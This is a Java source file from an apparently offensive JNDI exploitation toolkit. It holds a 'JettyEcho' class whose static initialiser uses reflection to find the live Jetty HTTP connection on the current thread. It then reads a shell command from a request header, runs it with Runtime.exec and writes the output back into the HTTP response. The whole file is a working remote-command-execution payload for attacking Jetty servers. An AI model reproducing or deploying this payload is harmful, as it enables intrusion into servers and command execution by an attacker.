mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-23 07:11:52 +08:00
79 lines
3.4 KiB
Java
79 lines
3.4 KiB
Java
package com.qi4l.jndi.template.echoStatic;
|
|
|
|
import java.io.ByteArrayOutputStream;
|
|
|
|
public class JettyEcho {
|
|
|
|
public static String CMD_HEADER;
|
|
|
|
static {
|
|
try {
|
|
Class clazz = Thread.currentThread().getClass();
|
|
java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
|
|
field.setAccessible(true);
|
|
Object obj = field.get(Thread.currentThread());
|
|
|
|
field = obj.getClass().getDeclaredField("table");
|
|
field.setAccessible(true);
|
|
obj = field.get(obj);
|
|
|
|
Object[] obj_arr = (Object[]) obj;
|
|
for (int i = 0; i < obj_arr.length; i++) {
|
|
Object o = obj_arr[i];
|
|
if (o == null) continue;
|
|
|
|
field = o.getClass().getDeclaredField("value");
|
|
field.setAccessible(true);
|
|
obj = field.get(o);
|
|
|
|
if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) {
|
|
Object connection = obj;
|
|
java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class<?>) null);
|
|
obj = method.invoke(connection, (Object) null);
|
|
|
|
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
|
|
String cmd = (String) method.invoke(obj, new Object[]{"cmd"});
|
|
|
|
if (cmd != null && !cmd.isEmpty()) {
|
|
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
|
|
|
method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class});
|
|
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"});
|
|
printWriter.println(res);
|
|
}
|
|
|
|
break;
|
|
} else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) {
|
|
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class<?>) null);
|
|
Object httpChannel = method.invoke(obj, (Object) null);
|
|
|
|
method = httpChannel.getClass().getMethod("getRequest", (Class<?>) null);
|
|
obj = method.invoke(httpChannel, (Object) null);
|
|
|
|
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
|
|
String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER});
|
|
if (cmd != null && !cmd.isEmpty()) {
|
|
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
|
|
|
method = httpChannel.getClass().getMethod("getResponse", (Class<?>) null);
|
|
obj = method.invoke(httpChannel, (Object) null);
|
|
|
|
method = obj.getClass().getMethod("getWriter", (Class<?>) null);
|
|
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null);
|
|
printWriter.println(res);
|
|
}
|
|
|
|
break;
|
|
}
|
|
}
|
|
} catch (Exception ignored) {
|
|
}
|
|
|
|
}
|
|
|
|
public static ByteArrayOutputStream q(String cmd) {
|
|
return null;
|
|
}
|
|
|
|
}
|